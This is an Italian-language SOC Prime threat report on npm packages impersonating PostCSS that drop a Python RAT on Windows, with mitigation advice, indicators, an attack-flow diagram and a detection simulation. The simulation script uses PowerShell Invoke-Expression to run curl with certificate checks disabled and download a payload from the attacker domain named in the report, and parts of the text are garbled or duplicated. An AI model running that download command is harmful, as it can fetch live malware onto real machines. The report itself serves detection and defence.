PostCSS che si maschera come un percorso per la distribuzione di RAT su Windows

SOC Prime Team

Segui

PostCSS che si maschera come un percorso per la distribuzione di RAT su Windows

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Riepilogo

Gli aggressori stanno abusando dell’impersonificazione dei pacchetti npm per diffondere un RAT Windows a più fasi. Pacchetti malevoli come postcss-minify-selector-parser vengono presentati come legittimi strumenti di build per compromettere gli ambienti di sviluppo. Una volta attivata, la catena di infezione lancia un downloader PowerShell che recupera un RAT Python compilato con Nuitka in grado di rubare credenziali e fornire accesso alla shell remota.

Indagine

I ricercatori hanno scoperto un cluster di pacchetti npm malevoli che si riferiscono a dipendenze legittime per apparire credibili. L’indagine ha tracciato una catena di infezione stratificata che inizia con un dropper JavaScript, avanza a un downloader PowerShell e termina con un payload sofisticato basato su Python. Analizzando i componenti compilati con Nuitka, i ricercatori sono stati in grado di ricostruire il protocollo di comando e controllo del RAT e i comandi supportati.

Mitigazione

Gli utenti devono rimuovere immediatamente i pacchetti npm malevoli identificati e esaminare le dipendenze per qualsiasi esposizione transitiva. Le organizzazioni dovrebbero anche bloccare i domini e gli indirizzi IP di comando e controllo noti. Se si sospetta un compromesso, gli sviluppatori dovrebbero ruotare immediatamente le credenziali memorizzate nel browser e tutti i token correlati allo sviluppo.

Risposta

I punti finali di Windows devono essere esaminati per artefatti come %TEMP%winPatch, %TEMP%.store, e %TEMP%.host. Gli investigatori dovrebbero anche esaminare la persistenza nel registro HKCURun per il valore csshost . Deve essere condotto un audit completo delle postazioni di lavoro degli sviluppatori per identificare attività di shell remota non autorizzata o segni di furto di credenziali.

"graph TB %% Class Definitions classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% Node Definitions attack_supply_chain["Tecnica – T1195.001 Compromesso della catena di approvvigionamento: Compromesso delle dipendenze software e degli strumenti di sviluppo Descrizione: Impersonificazione del pacchetto su npm tramite pacchetti simili come postcss-minify-selector-parser. Obiettivo: Ambienti di sviluppo"] class attack_supply_chain technique attack_user_execution["Tecnica – T1204.005 Esecuzione da parte dell’utente: Libreria malevola Descrizione: Attivato quando il pacchetto npm malevolo viene importato. Azione: Esegue un dropper JavaScript codificato."] class attack_user_execution technique process_powershell["Tecnica – T1059.001 Interprete di comandi e script: PowerShell Descrizione: PowerShell viene utilizzato per scrivere ed eseguire lo script malevolo. File: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["Tecnica – T1070.010 Rimozione degli indicatori: Ricollocare malware Descrizione: Utilizzo di un dominio ingannevole per scaricare il payload. Dominio: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["Tecnica – T1059.003 Interprete di comandi e script: Shell dei comandi di Windows Descrizione: Utilizzato per estrarre il bundle del payload. Trigger: Esecuzione post-download."] class tool_cmd_shell technique malware_vbs_bootstrapper["Malware – VBS Bootstrapper Descrizione: Avvia il payload principale del malware."] class malware_vbs_bootstrapper malware malware_rat["Malware – Strumento di accesso remoto (RAT) Descrizione: Loader basato su Python che utilizza moduli compilati con Nuitka. Funzionalità: Fornisce capacità di accesso remoto."] class malware_rat malware attack_persistence["Tecnica – T1547.001 Esecuzione autostart del boot o accesso: Chiavi del registro / Cartella di avvio Descrizione: Crea un valore del registro per la persistenza. Valore del registro: csshost"] class attack_persistence persistence attack_evasion["Tecnica – T1497.001 Evasione di virtualizzazione/sandbox: Controlli di sistema Descrizione: Utilizza query WMI per rilevare ambienti virtuali. Comando: wmic bios get serialnumber"] class attack_evasion technique attack_c2["Tecnica – T1219 Strumenti di accesso remoto Descrizione: Mantiene la comunicazione con il server C2 tramite pacchetti POST criptati. Indirizzo C2: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["Tecnica – T1555.003 Credenziali dai negozi password: Credenziali dai browser Web Descrizione: Ruba credenziali salvate da Chrome. File di destinazione: Dati di accesso e stato locale"] class attack_credential_access technique %% Connections attack_supply_chain –>|porta a| attack_user_execution attack_user_execution –>|esegue| process_powershell process_powershell –>|esegue| attack_indicator_removal attack_indicator_removal –>|attiva| tool_cmd_shell tool_cmd_shell –>|avvia| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|installa| malware_rat malware_rat –>|stabilisce| attack_persistence malware_rat –>|esegue| attack_evasion malware_rat –>|comunica tramite| attack_c2 malware_rat –>|esfiltra| attack_credential_access "

Flusso d’Attacco

Visualizza

## Esecuzione Simulazione

Prerequisito: Il controllo pre-volo Telemetria & Baseline deve aver superato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

Narrativa di Attacco e Comandi: L’avversario intende stabilire un punto d’appoggio nel sistema mascherandosi come un processo di aggiornamento software legittimo. Per fare ciò, utilizza PowerShell per invocare l’utilità nativa curl.exe utilizzando il flag -k (insicuro), bypassano la convalida dei certificati SSL, e specificando un percorso di destinazione in bypassano la convalida dei certificati SSL, e specificando un percorso di destinazione in con un nome file comecon un nome file come
, cercano di mescolarsi nel rumore degli aggiornamenti di sistema routinari. L’obiettivo è scaricare un payload malevolo che, una volta eseguito, fornisce accesso remoto.
```
Script Test di Regressione:
```
# Script di simulazione per attivare la specifica regola di rilevamento # Nota: Questo utilizza un URL fittizio per sicurezza, ma imita la struttura esatta richiesta dalla regola. $cmd = ‘curl.exe -k -o “$env:TEMPwinPatch.zip” https://nvidiadriver.net/verv1432/winpatch-xd7d.win’ Write-Host “Esecuzione del comando di download malevolo simulato…” Invoke-Expression $cmd
```
# Comandi di Pulizia:
```

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis